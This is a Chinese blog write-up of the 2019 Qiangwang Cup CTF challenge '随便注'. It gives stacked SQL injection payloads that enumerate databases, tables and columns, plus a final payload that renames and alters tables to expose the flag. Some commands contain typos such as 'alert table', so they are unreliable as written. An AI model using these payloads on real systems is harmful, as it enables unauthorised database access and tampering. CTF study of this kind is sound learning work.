[强网杯 2019]随便注

1知识点

1.1MySQL命令

原来堆叠注入竟然真的有用,真的就像这道题所说的,安全和开发缺一不可。很久没用过堆叠注入了。复习一下把。

  • 查看所有数据库:0’;show databases;%23
  • 查看当前数据库的表: 1’;show tables;%23
  • 查看某个表的某个字段: 0’;show columns from users;%23
  • 把users表名改为user:rename tables users to user
  • 把flag字段改为data:alert table words change flag data varchar(100);%23

在表中增加一个字段:
CREATE TABLE TABLE_1
(
       ID INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT,
       // ID列为无符号整型,该列值不可以为空,并不可以重复,而且自增。

)
AUTO_INCREMENT = 100;(ID列从100开始自增)
PRIMAPY是主键的意思,表示定义的该列值在表中是唯一的意思,不可以有重复。
UNSIGNED是无符号的意思,代表该字段没有正负。
AUTO_INCREMENT可以理解为自动递增的意思,每增加一条记录,值会自动加1。(例如在上面的例子中,ID列每增加一条记录,便会从100自增) 。

2.payload

还是自己写的题太少了,思路太狭窄了。用道了堆叠注入,因为题目过滤的很严,所以我们可以把words表和1919810931114514表给换一下,我们猜测php代码为select * from words where id = '{$_GET['inject']}';。至于找道这些数据库、表和字段的办法,我上面已经写过了。
直接给出payload:

1;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值